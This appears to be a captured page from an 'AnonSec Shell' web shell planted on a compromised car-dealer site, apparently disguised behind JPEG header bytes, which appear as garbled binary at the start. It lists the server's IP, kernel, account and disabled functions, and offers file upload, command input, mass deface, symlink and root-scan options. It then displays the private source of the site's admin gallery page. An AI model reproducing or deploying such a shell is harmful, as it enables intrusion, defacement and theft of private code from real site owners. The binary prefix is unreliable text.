JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 46.28.45.50  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux in-mum-web1275.main-hosting.eu 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User : u215115003 ( 215115003)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u215115003/domains/luxurymotorz.com/public_html/admin/dashboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/u215115003/domains/luxurymotorz.com/public_html/admin/dashboard//add-car-varient-images.php
<?php include "include/header.inc.php";
if (isset($_GET['url1'])) {
   $url = trim($_GET['url1']);
   $requestArray = explode("/", $url);
   if (!empty(is_numeric($requestArray[1]))) {
      $usql = "SELECT v.*,v.car_model_name AS car_model_name, b.car_brand_name AS car_brand_name FROM car_brands as b INNER JOIN car_varients as v ON v.car_brand_id = b.car_brand_id WHERE v.car_varient_id = :car_varient_id";
      $ustmt = $DB->prepare($usql);
      $ustmt->bindValue(":car_varient_id", $requestArray[1]);
      $ustmt->execute();
      $user_rs = $ustmt->fetchAll();
   } else {
      header("Location:" . RESOURCE_PATH . "empty-response/");
   }
}

function isImage($file_path)
{
   $image_extensions = array('jpg', 'jpeg', 'png', 'gif');
   $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
   return in_array($ext, $image_extensions);
}

function isVideo($file_path)
{
   $video_extensions = array('mp4', 'avi', 'mov', 'wmv');
   $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
   return in_array($ext, $video_extensions);
}
?>
<div class="row page-titles">
   <div class="col-md-12 col-12 align-self-center">
      <h3 class="text-themecolor mb-0 mt-0">
         <?= strtoupper($user_rs[0]['car_brand_name']) ?>
         <?= strtoupper($user_rs[0]['car_model_name']) ?>
         <?= strtoupper($user_rs[0]['car_varient_name']) ?>
      </h3>
      <ol class="breadcrumb">
         <li class="breadcrumb-item"><a href="<?= LOGIC_PATH ?>home/">Home</a></li>
         <li class="breadcrumb-item"><a href="<?= LOGIC_PATH ?>car-varients/">Car Varients</a></li>
         <li class="breadcrumb-item active">
            <?= ucwords($user_rs[0]['car_brand_name']) ?>
            <?= ucwords($user_rs[0]['car_model_name']) ?>
            <?= ucwords($user_rs[0]['car_varient_name']) ?>
         </li>
      </ol>
   </div>
</div>
<div class="row">
   <div class="col-md-6 align-self-center text-left d-none d-md-block">
      <a href="javascript:void(0);" id="<?= $requestArray[1] ?>" class="btn btn-sm btn-danger delete_all_images"><i
            class="fa fa-trash"></i> Delete All</a><br><br>
   </div>
   <div class="col-md-6 align-self-center text-right d-none d-md-block">
      <a href="javascript:void(0);" class="btn btn-sm btn-info new_car_gallery_btn"><i class="fa fa-plus-circle"></i>
         Add
         new</a><br><br>
   </div>
   <div class="col-12">
      <div class="card">
         <div class="card-body">
            <table id="data-table" class="table display table-bordered table-striped no-wrap">
               <thead>
                  <tr>
                     <th>#</th>
                     <th>Action</th>
                     <th>Status</th>
                     <th>Image</th>
                     <th>Added on</th>
                  </tr>
               </thead>
               <tbody>
                  <?php
                  $sn = 1;
                  $usql = "SELECT * FROM car_gallery WHERE car_varient_id = :car_varient_id";
                  $ustmt = $DB->prepare($usql);
                  $ustmt->bindValue(":car_varient_id", $requestArray[1]);
                  $ustmt->execute();
                  $user_rs1 = $ustmt->fetchAll();
                  // var_dump($user_rs1);
                  $sn = 1;
                  foreach ($user_rs1 as $value) {
                     ?>
                     <tr>
                        <td>
                           <?= $sn++ ?>
                        </td>
                        <td>
                           <a href="javascript:void(0)" id="<?= $value['car_gallery_id'] ?>"
                              class="btn btn-sm btn-danger delete_car_gallery_btn"><i class="fa fa-trash"></i></a>
                        </td>
                        <td>
                           <div class="bt-switch">
                              <input type="checkbox" <?php
                              if ($value['car_gallery_status'] == 'Active') {
                                 echo 'checked="checked" ';
                              }
                              ?> data-on-color="warning" data-size="small"
                                 data-off-color="danger" data-on-text="Enabled" data-off-text="Disabled"
                                 class="update_car_gallery_status_btn" pid="<?= $value['car_gallery_id'] ?>">
                           </div>
                        </td>
                        <td>
                           <?php if (isImage($value['car_gallery_image'])) { ?>
                              <a href="<?= MAIN_DIR ?>static/<?= $value['car_gallery_image'] ?>"
                                 class="btn btn-sm btn-primary image-popup-no-margins">
                                 <img src="<?= MAIN_DIR ?>static/<?= $value['car_gallery_image'] ?>" height="40px"
                                    width="80px" />
                              </a>
                           <?php } elseif (isVideo($value['car_gallery_image'])) { ?>
                              <a href="<?= MAIN_DIR ?>static/<?= $value['car_gallery_image'] ?>"
                                 class="btn btn-sm btn-primary media-popup">
                                 <video src="<?= MAIN_DIR ?>static/<?= $value['car_gallery_image'] ?>" height="40px"
                                    width="80px"></video>
                              </a>
                           <?php } ?>
                        </td>
                        <td>
                           <?= $value['car_gallery_created_on'] ?>
                        </td>
                     </tr>
                  <?php } ?>
               </tbody>
            </table>
         </div>
      </div>
   </div>
   <div class="col-md-12 align-self-center text-center d-none d-md-block">
      <a href="<?= LOGIC_PATH ?>car-varients/" class="btn btn-success"><i class="fa fa-check-circle"></i> Done</a>
   </div>
</div>
<?php include "include/footer.inc.php"; ?>
<script src="<?= LOGIC_PATH ?>custom_js/car-gallery.js"></script>
<div class="modal fade bs-example-modal-lg" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel"
   aria-hidden="true" id="car_gallery_modal">
   <div class="modal-dialog modal-md">
      <div class="modal-content">
         <div class="modal-header">
            <h5 class="modal-title mt-0 " id="car_modal_title"></h5>
            <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
         </div>
         <div class="modal-body">
            <form action="javascript:void(0)" method="post" id="car_gallery_form" autocomplete="off"
               enctype="multipart/form-data">
               <div class="row">

                  <div class="col-md-12">
                     <div class="form-group">
                        <label>File (500 X 500) (Less than 1 MB)</label>
                        <input type="hidden" name="car_gallery_id" id="car_gallery_id">
                        <input type="hidden" name="car_varient_id" id="car_varient_id"
                           value="<?= $requestArray[1] ?>">
                        <input type="file" name="car_gallery_file[]" id="car_gallery_file" class="form-control"
                           accept="image/*,video/*" multiple onchange="checkFiles(this)">
                     </div>
                  </div>
                  <div class="col-md-12 " align="center">
                     <input type="submit" class="btn btn-outline-primary" name="car_gallery_submit"
                        id="car_gallery_submit">
                  </div>
               </div>
            </form>
         </div>
      </div>
      <!-- /.modal-content -->
   </div>
   <!-- /.modal-dialog -->
</div>
<script>

   function checkFiles(input) {
      var files = input.files;
      var maxFiles = 30;
      var maxImageSize = 2.5 * 1024 * 1024; // 1.5 MB in bytes
      var maxVideoSize = 50 * 1024 * 1024; // 5 MB in bytes
      var totalFiles = files.length;

      if (totalFiles > maxFiles) {
         $.toast({
            heading: 'Error',
            text: "Number of files exceeded; no more than 30 files are allowed.",
            position: 'top-right',
            loaderBg: '#ffff00',
            icon: 'error',
            hideAfter: 3000,
            stack: 6,
         });
         $('#car_gallery_file').val(''); // Clear the input
         return;
      }

      for (var i = 0; i < totalFiles; i++) {
         var file = files[i];
         var fileType = file.type.split('/')[0];

         if ((fileType === 'image' && file.size > maxImageSize) ||
            (fileType === 'video' && file.size > maxVideoSize)) {
            $.toast({
               heading: 'Error',
               text: 'File ' + file.name + ' exceeds the maximum size of ' +
                  (fileType === 'image' ? '2.5 MB' : '50 MB') + '.',
               position: 'top-right',
               loaderBg: '#ffff00',
               icon: 'error',
               hideAfter: 3000,
               stack: 6,
            });
            $('#car_gallery_file').val(''); // Clear the input
            return;
         }
      }
   }

</script>

Anon7 - 2022
AnonSec Team